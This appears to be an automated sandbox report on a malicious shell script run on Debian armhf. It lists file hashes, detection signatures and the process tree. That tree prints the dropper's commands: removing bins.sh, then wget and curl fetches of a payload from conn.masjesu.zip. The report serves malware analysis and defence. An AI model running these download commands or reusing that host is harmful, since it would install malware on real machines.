Analysis

  • max time kernel
    148s
  • max time network
    3s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/10/2024, 01:24

General

  • Target

    70d5028b897963b847d8a28034e58fae76efa4bbb7a5ef2d11a7d37240076b58.sh

  • Size

    10KB

  • MD5

    39af5a8e20eb9037c16b16bbdb233387

  • SHA1

    fa93ebed804f88f9810f418aa96d520d93249855

  • SHA256

    70d5028b897963b847d8a28034e58fae76efa4bbb7a5ef2d11a7d37240076b58

  • SHA512

    82d0395702b8b6084c5c890074c5fe8cce1bb3fd3a61b94b1fb466c306072308348c69dd1745e1a944949d06cf55cf2f18862833d212ece5910d32d914d7eb4b

  • SSDEEP

    192:QQqIcwDH+mKFlIZx/QVgh3Xql5cjG5Q3Xql54C0cwDH+mEFlIZx/F:QQq5VgNjG5CCY

Score
4/10

Malware Config

Signatures

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

Processes

  • /tmp/70d5028b897963b847d8a28034e58fae76efa4bbb7a5ef2d11a7d37240076b58.sh
    /tmp/70d5028b897963b847d8a28034e58fae76efa4bbb7a5ef2d11a7d37240076b58.sh
    1⤵
      PID:655
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:657
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/ACn1qT12SP7dKMttc0kED59jvJ6ZRCEqFc
          2⤵
          • System Network Configuration Discovery
          PID:660
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/ACn1qT12SP7dKMttc0kED59jvJ6ZRCEqFc
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:668

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads